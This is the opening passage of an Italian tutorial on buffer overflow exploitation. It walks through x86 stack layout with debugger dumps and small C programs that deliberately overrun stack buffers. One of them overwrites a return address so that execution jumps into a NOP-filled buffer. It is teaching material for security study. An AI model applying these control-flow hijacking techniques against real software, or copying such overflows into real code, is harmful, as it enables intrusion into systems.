__________________________________________________ / / \ \ | | .:: System exploitation using buffer overflow ::. | | \ \__________________________________________________/ / ~ Matteo Tosato Š 2010-11 ~ Rev. 2.2 - Last update: 19/07/2011
System exploitation using buffer overflow
..:: A chi sa ascoltare ::..
Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 2 di 193
System exploitation using buffer overflow
..:: Indice: 0x00) Premessa SEZIONE 1 ~ Introduzione e tecniche di base, linux-oriented: 0x01) 0x02) 0x03) 0x04) 0x05) 0x06) 0x07) 0x08) 0x09) 0x0a) 0x0b) 0x0c) 0x0d)
Uno sguardo al compilatore, memoria e stack. Allocazione di buffer Corruzione dello stack Esecuzione di codice dallo stack sovrascritto Esecuzione di shellcode Byte NOP Realizzare una shellcode Shellcode avanzate Esempio exploit remoto L’analisi del codice sorgente Analisi tramite reverse engineering Bugs relativi al formato delle stringhe Bugs relativi all’allocazione nello heap
SEZIONE 2 ~ Argomenti avanzati, linux-oriented: 0x0e) 0x0f) 0x10) 0x11) 0x12) 0x13) 0x14)
Linux, exploit oggi, PaX e StackGuard Altri punti di vista Sezioni .plt e .got Return-oriented Programming, introduzione Return-oriented shellcode Exploit dei sistemi protetti Polimorfismo - IDS/IPS evasion
SEZIONE 3 ~ Windows exploiting: 0x15) 0x16) 0x17) 0x18) 0x19)
Windows e il “dll hell” Stack based overflow exploit SEH based exploit Sistemi di sicurezza per Microsoft Windows Tecniche miste e ROP
0x1a) Conclusioni ? 0x1b) Riferimenti bibliografici
Il testo può essere distribuito ma non modificato, l’utilizzo di contenuto in altri testi deve sottostare alle condizioni di licenza. Matteo Tosato.
tosatz@tiscali.it
Attribution-NonCommercial-ShareAlike 3.0 Unported (CC BY-NC-SA 3.0) Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 3 di 193
System exploitation using buffer overflow
0x00] Premessa Questo testo costituisce una introduzione alla vulnerabilità ‘buffer overflow. Ho cercato di presentare gli argomenti in modo sequenziale strutturando il documento come tutorial. Per comprendere il testo è sufficiente conoscere l'assembly, il C ed avere un minimo di conoscenze sull’architettura si un sistema operativo. La vulnerabilità della classe ‘buffer overflow’ è molto più diffusa di quanto si pensi. E' un bug, un errore introdotto il più delle volte dal programmatore, ma non solo, anche da una libreria difettosa. Gli attacchi tramite questa tecnica sono stati migliaia e continuano ad essere tanti. Ogni precisazione, domanda, curiosità, suggerimento è ben gradita. La condivisione di conoscenza e opinioni è una delle più grandi risorse di cui disponiamo. + -
Strumenti: gcc 4.3.2 Linux gdb 6.8-debian Linux objdump GNU 2.18.0 Linux OllyDbg 10 Win Dev-C++ or Code::Blocks Win Immunity debugger 1.8x Win lcc-win32 Win Notepad++ 5.x Win NetBeans IDE Komodo edit Active Perl / python metasploit framework Ruby your brain ;)
0x01] (Arch: NT) – Uno sguardo al compilatore, memoria e stack. Up Per iniziare la nostra trattazzione sui buffer oeverflow, ripercorriamo velocemente alcune basi sulle fasi della compilazione e su come il sistema operativo organizza la memoria. Questa carrellata sarà molto veloce in quanto non è un obiettivo di questo testo affrontare tutte le basi necessarie in modo completo. Quando si scrive codice si utilizzano di fatto caratteri ASCII, interpretabili da un certo compilatore, questo è un ‘parser’ per un dato linguaggio. Ovvero, è un programma in grado di riconoscere i costrutti del linguaggio e di tradurli in un linguaggio più a basso livello, il linguaggio del processore. Chiamato codice macchina. Il seguente schema illustra queste fasi:
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 4 di 193
System exploitation using buffer overflow
Dopo queste operazioni si ottiene un codice che però è privo dei comandi di interfacciamento con l’hardware. I file che contengono questo tipo di codice sono denominati ‘file oggetto’, tipicamente hanno estensione “.obj” o “.o”. Il linker è un’altro programma, incaricato di collegare il codice con i vari moduli a cui il prgramma fa riferimento (sottoprogrammi o librerie). Ad esempio le libc sono raccolte di codice che vengono collegate agli eseguibili. Solo dopo questo procedimento possono essere utilizzate funzioni implementate in file esterni. Il processo di collegamento può essere di tipo statico (static linking) o dinamico (dynamic linking). Il primo specifica che il codice di cui necessita l’eseguibile viene copiato dalla libreria all’eseguibile per intero, in questo modo si ottiene codice più indipendente, che non necessita di file esterni. Allo stesso tempo si ha però un file di dimensione maggiore, dato che contiene tutto il codice necessario. Il linking dinamico farà risparmiare una quantità notevole di spazio su disco, ma il nostro file eseguibile possiederà una serie di dipendenze verso altri file. Se una libreria utilizzata dall’eseguibile viene cancellata, questo non funziona più, un eseguibile collegato dinamicamente contiene solo dei riferimenti che indicano al loader quali librerie caricare a runtime, la strategia adottata per specificare i riferimenti è dipendente dal formato del file eseguibile. Solitamente si preferisce il collegamento dinamico, dato che i programmi moderni hanno centinaia di dipendenze fra l’altro condivise con altri programmi, pertanto sarebbe impensabile avere codice collegato solo staticamente. Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 5 di 193
System exploitation using buffer overflow
Si pensi a windows e il suo sistema di DLL. Queste sono moltissime e rappresentano il cuore del sistema operativo. La gestione della memoria avviene in modo diverso a seconda dell’architettura, ma per i nostri scopi possiamo generalizzare ad un unico modello comune. Sappiamo che la memoria centrale di un calcolatore (i moduli che si inseriscono a fianco del processore) può arrivare anche ad alcuni Giga byte di dimensione. Questi moduli hanno locazioni indirizzate fisicamente, solitamente il sistema operativo implementa un modo con il quale questi indirizzi fisici vengono gestiti. Dal lato utente, non vedremo mai questi indirizzi fisici, il sistema operativo tiene per se tali indirizzi e crea per ogni processo che avvia un ‘layout’ di indirizzi virtuali. Dal lato della programmazione, sappiamo che quando si allocano variabili locali all’interno di funzioni, queste vengono allocate nell'area di stack. Questa è una frazione della parte di memoria dedicata ad un processo la quale funge da parcheggio di dati che il programma utilizza durante l'esecuzione. Quando un processo viene caricato in memoria centrale il sistema operativo fa in modo che egli abbia l'impressione di avere quanta più memoria vuole disponibile. Questo è possibile appunto attraverso degli "indirizzi virtuali". Gli indirizzi virtuali sono relativi al processo soltanto. Pertanto nel medesimo istante due processi possono avere una variabile allocata all'indirizzo virtuale 0x1000. Questa prodezza dei sistemi operativi è possibile grazie alla "memoria virtuale e alla paginazione". E' abbastanza semplice. La memoria viene suddivisa in blocchi di N Kbytes, L'indirizzo di questi blocchi rinominati pagine è memorizzato in una tabella. Questa si chiama "Page Table". Il processo utilizzerà al suo interno solo indirizzi virtuali, allora il tipo di indirizzi inviati sul BUS saranno virtuali. Come è possibile che questi vengano interpretati correttamente dalla CPU? In effetti la CPU non sa assolutamente nulla degli indirizzi virtuali per quel determinato processo, è a conoscenza soltanto di indirizzi fisici della memoria centrale, qui entra in gioco allora un particolare componente detto MMU (Memory Management Unit), questo solitamente si trova all'interno del processore stesso. Ha il compito di gestire le chiamate agli indirizzi del processore verso la memoria. La MMU traduce l'indirizzo virtuale in fisico per la CPU. L'indirizzo virtuale è così composto: i primi 20 bit identificano la pagina richiesta, i restanti 12 bit indicano l'offset all'interno della pagina. L'indirizzo finale ottenuto è l'indirizzo fisico di memoria.
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 6 di 193
System exploitation using buffer overflow
Un indirizzo di 20 bit lascia presupporre ad un numero di entry per la page table pari a 220. Solitamente è lunga 32 bit, ma può variare a seconda del S.O. Il campo più importante è il "Page frame number" che identifica la pagina. Come prima cosa viene utilizzato questo valore per mappare la pagina richiesta, viene controllato il valore del bit di presenza, se questo è settato la pagina è valida e può essere utilizzata, se è 0 la pagina non è in memoria in quel momento. L'accesso richiesto in questo caso produce una segnalazione di "page fault". I bit "protection" identificano il tipo di accesso permesso, lettura scrittura ecc.. I campi modified e referenced vengono utilizzati per effettuare il tracking di utilizzo della pagina. Quando la pagina viene modificata viene settato il flag relativo ed il sistema operativo sa che dovrà rimpiazzare quella presente su disco perchè è cambiata. Il campo referenced ha un ruolo importante per gli algoritmi di rimpiazzamento delle pagine. Può anche essere che la pagina richiesta non si trovi in memoria ma su disco, nel file paging di windows o la partizione di swap di linux. A questo punto il sistema operativo in modo molto più dispendioso, carica la pagina dal disco verso la memoria centrale. Mi fermerei qui tanto per non addentrarci troppo nei particolari. Potreste approfondire l'argomento andandovi a vedere anche in che cosa consiste il TLB (Translation lookside buffer) che velocizza le operazioni di mappatura della memoria. Dal punto di vista del programmatore in “user-space”, avremo sempre a che fare con il layout di indirizzi virtuali. La disposizione tipica dello spazio di memoria dedicato ad un processo è la seguente:
Ora è essenziale capire come i nostri programmi vengono eseguiti in memoria, per farlo possiamo considerare la traduzione in assembly del codice. Ho deciso di non affrontare i linguaggi assembly, C e l’architettura dei sistemi operativi dal punto di vista sia teorico che pratico perché per questi argomenti, esiste già una corposa serie di risorse disponibili on-line e completamente gratuite. Pertanto non ho ritenuto opportuno inserire qui alcun capitolo dedicato. In fondo al manuale, fra i riferimenti bibliografici ho inserito alcune delle risorse on-line di mia conoscenza, utili per colmare le eventuali lacune per quanto riguarda le basi necessarie ad affrontare questo testo. Cominciamo quindi nello scrivere il programma seguente, utilizzeremo ollydbg sotto windows per Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 7 di 193
System exploitation using buffer overflow
l'analisi. --------- test01.c -----------------------#include <stdio.h> #include <stdlib.h> void function(int a, int b, int c) { // [.....] // without instructions } int main(int argc, char *argv[]) { if(argc < 3) exit(-1); int a = atoi(argv[1]); int b = atoi(argv[2]); int c = atoi(argv[3]); function(a,b,c); } --------- test01.c END --------------------Vediamo la traduzione delle funzioni function() e main() in codice macchina e le modifiche apportate allo stack. In primis, non troviamo niente altro che il prologo e l'epilogo, questi preparano lo stack per contenere le variabili e gli indirizzi relativi alla funzione chiamata. 00401290 00401291 00401293 00401294
/$ |. |. \.
55 89E5 5D C3
PUSH EBP MOV EBP,ESP POP EBP RETN
>>> Prologo >>> <<< Epilogo <<<
La funzione che segue è invece main: 00401295 /$ 55 0022FF48 /0022FF78 00401296 |. 89E5 0022FF4C |004011E7 RETURN 00401298 |. 83EC 28 0022FF50 |00000001 0040129B |. 83E4 F0 0022FF54 |002E1078 0040129E |. B8 00000000 ...... 004012A3 |. 83C0 0F 004012A6 |. 83C0 0F 004012A9 |. C1E8 04 004012AC |. C1E0 04 004012AF |. 8945 F0
PUSH EBP
> avremo ebp in cima allo stack
MOV EBP,ESP to stack_le.004011E7 from stack_le.00401295 SUB ESP,28 AND ESP,FFFFFFF0 MOV EAX,0 ADD ADD SHR SHL MOV
EAX,0F EAX,0F EAX,4 EAX,4 DWORD PTR SS:[EBP-10],EAX
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 8 di 193
System exploitation using buffer overflow 004012B2 004012B5 004012BA 004012BF 004012C3 004012C5 004012CC 004012D1 004012D4 004012D7 004012D9 004012DC 004012E1 004012E4 004012E7 004012EA 004012EC 004012EF 004012F4 004012F7 004012FA 004012FD 004012FF 00401302 00401307 0040130A 0040130D 00401311 00401314 00401318 0040131B 0040131E
|. |. |. |. |. |. |. |> |. |. |. |. |. |. |. |. |. |. |. |. |. |. |. |. |. |. |. |. |. |. |. |.
8B45 F0 MOV EAX,DWORD PTR SS:[EBP-10] E8 B6040000 CALL stack_le.00401770 E8 51010000 CALL stack_le.00401410 837D 08 02 CMP DWORD PTR SS:[EBP+8],2 7F 0C JG SHORT stack_le.004012D1 C70424 FFFFFFF>MOV DWORD PTR SS:[ESP],-1 E8 9F050000 CALL <JMP.&msvcrt.exit> 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] 83C0 04 ADD EAX,4 8B00 MOV EAX,DWORD PTR DS:[EAX] 890424 MOV DWORD PTR SS:[ESP],EAX E8 7F050000 CALL <JMP.&msvcrt.atoi> 8945 FC MOV DWORD PTR SS:[EBP-4],EAX 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] 83C0 08 ADD EAX,8 8B00 MOV EAX,DWORD PTR DS:[EAX] 890424 MOV DWORD PTR SS:[ESP],EAX E8 6C050000 CALL <JMP.&msvcrt.atoi> 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] 83C0 0C ADD EAX,0C 8B00 MOV EAX,DWORD PTR DS:[EAX] 890424 MOV DWORD PTR SS:[ESP],EAX E8 59050000 CALL <JMP.&msvcrt.atoi> 8945 F4 MOV DWORD PTR SS:[EBP-C],EAX 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-C] 894424 08 MOV DWORD PTR SS:[ESP+8],EAX 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8] 894424 04 MOV DWORD PTR SS:[ESP+4],EAX 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 890424 MOV DWORD PTR SS:[ESP],EAX E8 6DFFFFFF CALL stack_le.00401290
> valore nello stack! >>>> STACK: > valore nello stack! ha sottratto ben 10*4 bytes ; | ; | ; | ; \exit > nel caso sbaglio il numero degli ; ||| argomenti in ingresso, esce. ; ||| ; ||| ; ||| ; ||\atoi ; || ; || ; || ; || ; || ; |\atoi ; | ; | ; | ; | ; | ; \atoi > tutto relativo alle funzioni atoi()
Al momento della chiamata alla call ecco come si presenta lo stack (gli argomenti che ho passato in linea di comando sono 1 4 e 6: 0022FF10 0022FF14 0022FF18 0022FF1C
00000001 00000004 00000006 004012BA
<<< <<< <<< RETURN
1° 2° 3° to
argomento argomento argomento stack_le.004012BA from stack_le.00401770
A questo punto viene chiamata la procedura. L'indirizzo di ritorno viene salvato nello stack, in modo sia possibile più tardi recuperarlo e ritornare alla funzione chiamante. 0022FF0C 0022FF10 0022FF14 0022FF18 0022FF1C
00401323 00000001 00000004 00000006 004012BA
RETURN <<< <<< <<< RETURN
to 1° 2° 3° to
stack_le.00401323 from stack_le.00401290 argomento argomento argomento stack_le.004012BA from stack_le.00401770
Quando la funzione ha finito: 00401323 00401324
|. C9 \. C3
LEAVE RETN
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 9 di 193
System exploitation using buffer overflow
0x02] (Arch: NT) – Allocazione di buffers Up --------- test02.c -----------------------#include <stdio.h> #include <stdlib.h> #define LARGE_SIZE 64 #define SMALL_SIZE 32 #define NOP 0x90 int main(int argc, char *argv[]) { int c; char large_buffer[LARGE_SIZE]; char small_buffer[SMALL_SIZE]; for(c=0;c<LARGE_SIZE;c++) large_buffer[c] = NOP; for(c=0;c<SMALL_SIZE;c++) small_buffer[c] = NOP; } --------- test02.c END --------------------In questo secondo caso abbiamo tutto nella una funzione principale main. Nella prima parte di questo listato di assembly il sistema alloca lo spazio che abbiamo richiesto per i due buffer. 00401290 00401291 00401293 00401299 0040129C 004012A1 004012A4 004012A7 004012AA 004012AD 004012B0 004012B3 004012B8 004012BD
/$ |. |. |. |. |. |. |. |. |. |. |. |. |.
55 PUSH EBP 89E5 MOV EBP,ESP 81EC 88000000 SUB ESP,88 83E4 F0 AND ESP,FFFFFFF0 B8 00000000 MOV EAX,0 83C0 0F ADD EAX,0F 83C0 0F ADD EAX,0F C1E8 04 SHR EAX,4 C1E0 04 SHL EAX,4 8945 84 MOV DWORD PTR SS:[EBP-7C],EAX 8B45 84 MOV EAX,DWORD PTR SS:[EBP-7C] E8 88040000 CALL stack_le.00401740 E8 23010000 CALL stack_le.004013E0 C745 F4 000000>MOV DWORD PTR SS:[EBP-C],0
Successivamente 2 cicli riempiono i due buffer utilizzando il nostro costrutto con il valore NOP per il massimo della loro capacità, otteniamo i due buffer pieni. 004012C4 004012C8 004012CA 004012CD 004012D0 004012D3
|> |. |. |. |. |.
837D F4 3F 7F 13 8D45 F8 0345 F4 83E8 50 C600 90
/CMP DWORD PTR SS:[EBP-C],3F |JG SHORT stack_le.004012DD |LEA EAX,DWORD PTR SS:[EBP-8] |ADD EAX,DWORD PTR SS:[EBP-C] |SUB EAX,50 |MOV BYTE PTR DS:[EAX],90
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 10 di 193
System exploitation using buffer overflow
004012D6 004012D9 004012DB 004012DD 004012E4 004012E8 004012EA 004012ED 004012F0 004012F3 004012F6 004012F9 004012FB
|. 8D45 F4 |LEA EAX,DWORD PTR SS:[EBP-C] |. FF00 |INC DWORD PTR DS:[EAX] |.^EB E7 \JMP SHORT stack_le.004012C4 |> C745 F4 000000>MOV DWORD PTR SS:[EBP-C],0 |> 837D F4 1F /CMP DWORD PTR SS:[EBP-C],1F |. 7F 13 |JG SHORT stack_le.004012FD |. 8D45 F8 |LEA EAX,DWORD PTR SS:[EBP-8] |. 0345 F4 |ADD EAX,DWORD PTR SS:[EBP-C] |. 83E8 70 |SUB EAX,70 |. C600 90 |MOV BYTE PTR DS:[EAX],90 |. 8D45 F4 |LEA EAX,DWORD PTR SS:[EBP-C] |. FF00 |INC DWORD PTR DS:[EAX] |.^EB E7 \JMP SHORT stack_le.004012E4
Non appena i due cicli finiscono, EIP contiene 004012FD, ovvero punterà all'istruzione successiva: 004012FD
|> C9
LEAVE
\. C3
RETN
e poi 004012FE
all'istante prima di LEAVE lo stack avrà questa conformazione: 0022FEB0 0022FEB4 0022FEB8 0022FEBC 0022FEC0 0022FEC4 0022FEC8 0022FECC 0022FED0 0022FED4 0022FED8 0022FEDC 0022FEE0 0022FEE4 0022FEE8 0022FEEC 0022FEF0 0022FEF4 0022FEF8 0022FEFC 0022FF00 0022FF04 0022FF08 0022FF10 0022FF14 0022FF18 0022FF1C 0022FF20 0022FF24 0022FF28 0022FF2C 0022FF30
00000000 00000000 007D1568 004012B8 76F398CD 007D0000 00000000 00000010 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 000000FC
RETURN to stack_le.004012B8 from stack_le.00401740 RETURN to msvcrt.76F398CD from ntdll.RtlFreeHeap
>\********************************************************** >| >| >| >> Questo è il buffer più piccolo. >| >| >| >|********************************************************** >|********************************************************** >| >| >| >| >| >| >| >> Questo è il buffer più grande. >| >| >| >| >| >| >| >|***********************************************************
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 11 di 193
System exploitation using buffer overflow
Questo comportamento avviene solo se allochiamo la memoria per i buffer entro la nostra funzione, in "local scope." Sarebbe stata completamente diversa la situazione se avessimo sistemato le dichiarazioni all’esterno di main in questo modo: char large_buffer[LARGE_SIZE]; char small_buffer[SMALL_SIZE]; int main(int argc, char *argv[]) { int c; ....... così sarebbe in .data, ovvero i buffer sarebbero allocati utilizzando un’altra regione di memoria, l’heap. Nello stack non troveremmo i codici "0x90". Per pratica provate a debuggare questa versione e troverete subito la differenza. 0x03] (Arch: NT) - Corruzione dello stack Up --------- test03.c -----------------------#include <stdio.h> #include <stdlib.h> #define SIZE 32 #define TOO_LARGE 48 #define NOP 0x90 int main(int argc, char *argv[]) { int z; char buffer[SIZE]; for(z=0;z<TOO_LARGE;z++) buffer[z] = NOP; } --------- test03.c END --------------------Nella funzione proposta è presente un errore grossolano circa il riempimento del buffer precedentemente allocato. Nel codice cerco di riempire il buffer più della sua dimensione massima consentita, provocando così il suo traboccamento! Che riverserà byte nello stack, nello spazio contiguo al buffer. prima di vedere lo stack, ecco la traduzione in assembly: 00401290 00401291 00401293 00401296
/$ |. |. |.
55 89E5 83EC 48 83E4 F0
PUSH EBP MOV EBP,ESP SUB ESP,48 AND ESP,FFFFFFF0
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 12 di 193
System exploitation using buffer overflow
00401299 0040129E 004012A1 004012A4 004012A7 004012AA 004012AD 004012B0 004012B5 004012BA 004012C1 004012C5 004012C7 004012CA 004012CD 004012D0 004012D3 004012D6 004012D8 004012DA 004012DB
|. B8 00000000 MOV EAX,0 |. 83C0 0F ADD EAX,0F |. 83C0 0F ADD EAX,0F |. C1E8 04 SHR EAX,4 |. C1E0 04 SHL EAX,4 |. 8945 C4 MOV DWORD PTR SS:[EBP-3C],EAX |. 8B45 C4 MOV EAX,DWORD PTR SS:[EBP-3C] |. E8 6B040000 CALL mem_corr.00401720 |. E8 06010000 CALL mem_corr.004013C0 |. C745 F4 000000>MOV DWORD PTR SS:[EBP-C],0 |> 837D F4 2F /CMP DWORD PTR SS:[EBP-C],2F |. 7F 13 |JG SHORT mem_corr.004012DA |. 8D45 F8 |LEA EAX,DWORD PTR SS:[EBP-8] |. 0345 F4 |ADD EAX,DWORD PTR SS:[EBP-C] |. 83E8 30 |SUB EAX,30 |. C600 90 |MOV BYTE PTR DS:[EAX],90 |. 8D45 F4 |LEA EAX,DWORD PTR SS:[EBP-C] |. FF00 |INC DWORD PTR DS:[EAX] |.^EB E7 \JMP SHORT mem_corr.004012C1 |> C9 LEAVE \. C3 RETN
Ora, la condizione dello stack all'istante in cui la CPU si trova sull'istruzione: “LEAVE a 004012DA” 0022FEF0 0022FEF4 0022FEF8 0022FEFC 0022FF00 0022FF04 0022FF08 0022FF0C 0022FF10 0022FF14 0022FF18 0022FF1C 0022FF20 0022FF24 0022FF28 0022FF2C 0022FF30 0022FF34 0022FF38 0022FF3C 0022FF40 0022FF44 0022FF48 0022FF4C 0022FF50 0022FF54 0022FF58 0022FF5C 0022FF60 0022FF64 0022FF68 0022FF6C 0022FF70 0022FF74 0022FF78 0022FF7C 0022FF80 0022FF84 0022FF88 0022FF8C
0022FED0 00000002 003F1568 004012B5 049F6951 FFFFFFFE 757C98DA 00000010 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 00000091 /0022FF48 |757D9E34 ]0022FF78 |004011E7 |00000001 |003F1078 |003F1568 |FFFFFFFF |0022FF70 |757D15A0 |00400000 |003F1568 |00000000 |7FFD5000 ]0022FF88 |00401238 |00000001 |00000000 ]0022FF94 |770E1174
--->> cima dello stack
--->> Indirizzo ed inizio di buffer * * * * * * * --- > Dimensione del buffer dichiarata: 32 bytes. * > Traboccamento causato dall'errore che ho inserito. * > cosa è accaduto? La scrittura del valore NOP è continuata oltre la memoria allocata * > andando a sovrascrivere pericolosamente lo stack. > --->>>>> Mi sarei aspettato che la sovrascrittura dello stack avesse > continuato fino a 0022FF3C. Invece si blocca 4 bytes prima. > Durante il debug vediamo che la variabile 'z' è allocata > a 0022FF3F. Lo straboccamento quando arriva lì scrive 0x90 in z. > il ciclo successivo incrementa z (infatti vedete, in z c'è 0x91). A questo punto > si tenta la scrittura di buffer[0x91] con 0x90. > &buffer[0x91] corrisponde ad una posizione non accessibile dal nostro programma.
RETURN to kernel32.770E1174 >>>> Indirizzo di ritorno di main
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 13 di 193
System exploitation using buffer overflow
L’errore che il kernel ci presenta è "segmentation fault". Ed il programma viene terminato dal sistema. (se fossimo in kernel-mode questo errore manderebbe in blocco l’intero computer) Questo esempio è utile per comprendere il funzionamento dello stack e dei problemi causati dalla mancanza di controllo durante le operazioni di copia con l'uso dei buffer. Vale la pena perdere tempo a riguardarlo e provare a e debuggarlo per fissare i concetti. 0x04] (Arch: NT) - Esecuzione di codice dallo stack sovrascritto Up --------- test04.c -----------------------#include <stdio.h> #include <stdlib.h> #define SIZE 128 // Per sicurezza allochiamo all'esterno di main le variabili e my_buffer che non devono // essere toccate. int i; char my_buffer[] = ”\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90"; char large_string[192]; int main(int argc, char *argv[]) { char buffer[SIZE]; //Il buffer // Riempio completamente tutto il buffer large_string con l'indirizzo di buffer: long *long_ptr = (long*)large_string; for(i=0;i<54;i++) *(long_ptr+i) = (int)buffer; // Posizioniamo la sequenza di 0x90 all'inizio di buffer: for(i=0; i<strlen(my_buffer);i++) large_string[i] = my_buffer[i]; // L'indirizzo di ritorno viene sovrascritto con l'indirizzo di buffer, che contiene il nostro // codice che viene eseguito: for(i=0;i<192;i++) buffer[i] = large_string[i]; } --------- test04.c END --------------------Per fare questo esempio ho allocato fuori da main le variabili che non devono essere sovrascritte, un'altra soluzione potrebbe essere quella di dichiararle dopo di ‘buffer’. A Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 14 di 193
System exploitation using buffer overflow
differenza del passo precedente, dove andavamo a sovrascrivere lo stack senza pensarci, andando a finire in una zona di memoria in cui non potevamo andare, questa volta mi sono soffermato ad analizzare bene lo stack premeditando ciò che sarebbe successo sovrascrivendo punti precisi. La prima cosa che main fa è allocare ‘SIZE’ bytes nello stack (buffer). Ho poi preso l'indirizzo di buffer e l'ho copiato nella stringa più larga di 192-128 bytes rispetto buffer, dichiarata all'esterno di main (large_string). A questo punto inserisco in testa a large_string la mia stringa my_buffer, anche essa allocata fuori da main, contiene una serie di codici esadecimali interpretabili dalla CPU direttamente. L'ultimo spezzone di main è la chiave di tutto. Il ciclo copia large_string in buffer, ma come sapete, buffer è più piccola di large_string, quindi ci sono ben 64 bytes che straboccano da buffer e vengono copiati nello stack contiguamente a buffer. Quindi proseguendo nella copia l'indirizzo di ritorno di main posto in precedenza nello stack viene sovrascritto con l'indirizzo di buffer. Ora, il programma prosegue e main arriva all'istruzione RET, ovvero di ritorno. Qui viene prelevato il valore puntato da ESP nello stack, il quale dovrebbe corrispondere all’indirizzo di ritorno della funzione chiamata. Ma siccome abbiamo sovrascritto lo stack, tale locazione di conterrà l'indirizzo del nostro buffer. Che succede a questo punto? Semplice, EIP viene riempito con l'indirizzo di my_buffer e la CPU salta alla prima istruzione del nostro array. In parole spicce, questa è la tecnica su cui si basano gli attacchi che sfruttano gli errori di gestione dei buffer. Nell'esempio ho riempito my_buffer di sequenze NOP (opcode 0x90), ovvero "nessuna operazione", in questo caso la CPU procede senza fare nulla ritrovandosi poi in una zona di memoria che contiene valori inadeguati causando un errore "memory exception". Se io avessi riempito my_buffer di una qualunque altra sequenza di OPCODE, la CPU avrebbe eseguito. E' possibile riempire my_buffer con qualsiasi sequenza di OPCODE, se la sequenza è stata prodotta correttamente, il codice viene eseguito, di qualsiasi natura esso faccia parte. Un programma con un errore del genere, se scoperto, può essere utilizzato per aprire backdoor oppure semplicemente provocare un DoS. Non riporto il disassemblato, passiamo subito a dare un'occhiata allo stack, prima dell'ultimo ciclo di copia: 0022FE80 0022FE84 0022FE88 0022FE8C 0022FE90 0022FE94 0022FE98 0022FE9C 0022FEA0 0022FEA4 [...] 0022FF2C 0022FF30 0022FF34 0022FF38 0022FF3C 0022FF40
00402000 < 0022FDBC 00891568 004012BE 7732D74D 0485E61A FFFFFFFE 7736316F 77362D68 00891058
Testa dello stack
00000104 000000FC 005D1FF8 0000003F 00000002 /0022FF48
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 15 di 193
System exploitation using buffer overflow
0022FF44 0022FF48 0022FF4C
|757D9E34 ]0022FF78 |004011E7
<
RETURN to mem_corr.004011E7 from mem_corr.00401290
La maggior parte dello stack è occupato dall'allocazione di buffer[], nella prossima videata potremo anche vedere dove precisamente troviamo l'indirizzo di buffer, dove inizia la copia del nostro ciclo, dove l'allocazione di buffer termina ed infine la zona che andiamo a sovrascrivere. Lo stack durante il ciclo di copia al loop numero SIZE, ovvero la dimensione di buffer: 0022FE80 0022FE84 0022FE88 0022FE8C 0022FE90 0022FE94 0022FE98 0022FE9C 0022FEA0 0022FEA4 0022FEA8 0022FEAC 0022FEB0 0022FEB4 0022FEB8 0022FEBC 0022FEC0 0022FEC4 0022FEC8 0022FECC 0022FED0 0022FED4 0022FED8 0022FEDC 0022FEE0 0022FEE4 0022FEE8 0022FEEC 0022FEF0 0022FEF4 0022FEF8 0022FEFC 0022FF00 0022FF04 0022FF08 0022FF0C 0022FF10 0022FF14 0022FF18 0022FF1C 0022FF20 0022FF24 0022FF28 0022FF2C 0022FF30 0022FF34 0022FF38 0022FF3C 0022FF40 0022FF44 0022FF48 0022FF4C
00402000 mem_corr.00402000 0022FDBC 00891568 004012BE RETURN to mem_corr.004012BE from mem_corr.004017C0 7732D74D ntdll.7732D74D 0485E61A FFFFFFFE 7736316F RETURN to ntdll.7736316F from ntdll.77356BFD 77362D68 RETURN to ntdll.77362D68 from ntdll.77362D72 00891058 00891060 00000010 00000000 00000000 00891058 00404070 mem_corr.00404070 90909090 << Lasciando perdere la parte sopra, in questo punto ovvero 0022fec0 inizia buffer, con la sequenza 90909090 << di NOP che abbiamo inserito in testa. 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 00229090 << Qui la nostra sequenza termina e la copia continua con l'indirizzo di buffer. 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 0022FEC0 /0022FF48 |757D9E34 ]0022FF78 |004011E7 < RETURN to mem_corr.004011E7 from mem_corr.00401290 |
Facciamo terminare il ciclo di copia e otteniamo lo stack sovrascritto, infine main termina e all'struzione RET ecco lo stack: 0022FF4C
| 0022FEC0 < Qui prima c'era - - - / (RETURN to mem_corr.004011E7 from mem_corr.00401290)
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 16 di 193
